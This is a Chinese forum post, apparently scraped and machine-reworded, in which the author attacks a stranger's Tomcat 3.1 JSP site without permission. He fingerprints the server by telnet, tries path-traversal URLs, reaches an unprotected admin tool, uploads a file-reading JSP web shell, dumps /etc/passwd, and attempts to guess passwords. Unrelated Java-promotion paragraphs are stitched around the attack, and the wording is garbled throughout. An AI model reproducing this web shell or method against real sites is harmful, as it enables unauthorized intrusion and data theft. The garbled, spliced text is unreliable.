|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
java是一种面向对象的编程语言,优点是可移植性比较高,最初设计时就是本着一次编写到处执行设计的。可以开发各种应用程序和游戏,不过速度没有c++快,所以一般是不用java来编写应用程序和电脑游戏。js|web很偶尔的一个时机,扫瞄到一个网站,页面清爽让人感到很恬逸。网站是用JSP开辟的,出于团体喜好,我决意测试一下其体系的平安性。
telnetwww.target.com8080
GET/CHINANSLHTTP/1.1
[Enter]
[Enter]
前往的了局以下:
HTTP/1.0404NotFound
Date:Sun,08Jul200107:49:13GMT
Servlet-Engine:TomcatWebServer/3.1(JSP1.1;Servlet2.2;Java1.2.2;Linux2
.2.12i386;java.vendor=BlackdownJava-LinuxTeam)
Content-Language:en
Content-Type:text/html
Status:404
<h1>Error:404</h1>
<h2>Location:/CHINANSL</h2>FileNotFound<br>/CHINANSL
取得了运转的WEBServer的称号“Tomcat3.1”。记得已经发明过这个版本的毛病,而且post到bugtrap上往过。
回想一下,也许是经由过程“..”手艺能够加入WEB目次,因而:
http://target:8080/../../../../%00.jsp(不可)
http://target:8080/file/index.jsp(不可)
http://target:8080/index.JSP(不可)
http://target:8080/index.jsp%81(不可)
http://target:8080/index.js%70(不可)
http://target:8080/index.jsp%2581(不可)
http://target:8080/WEB-INF/(不可)
看来平安情况仿佛还不错,我们再来举行一下更深层的测试。Tomcat3.1自带了一个办理工具,能够检察WEB下的目次及文件,而且能够增加context。因而实验:
http://target:8080/admin/
办理员公然没有删除或克制会见这个目次,从平安的角度说,这点应当算是一个对照主要的掉误。
接着,点击“VIEWALLCONTEXT”按钮,列出了WEB目次下的一些文件和目次的称号,很快发明了一个上传文件的组件,经由过程这个组件将一个JSP文件上传到对方的WEB目次里:
<%@pageimport="java.io.*"%>
<%
Stringfile=request.getParameter("file");
Stringstr="";
FileInputStreamfis=null;
DataInputStreamdis=null;
try{
fis=newFileInputStream(file);
dis=newDataInputStream(fis);
while(true){
try{
str=dis.readLine();
}catch(Exceptione){}
if(str==null)break;
out.print(str+"<br>");
}
}catch(IOExceptione){}
%>
然后实行:
http://target:8080/upload/test.jsp?file=/etc/passwd
暗码出来了。接上去的历程是推测暗码,没有乐成。不外,如今相称于有了一个SHELL,猜不出暗码能够先把IE看成SHELL情况。
[1][2]下一页
什么时候上述的三种开发工具能和三为一,什么时候java的竞争力才更强,才有机会拉拢更多的程序员投入到对java的开发上,因为到时的开发工具将会比.net的更简单。还有一点也很关键,什么时候java推出的jsf能成为真正意义上的标准。 |
|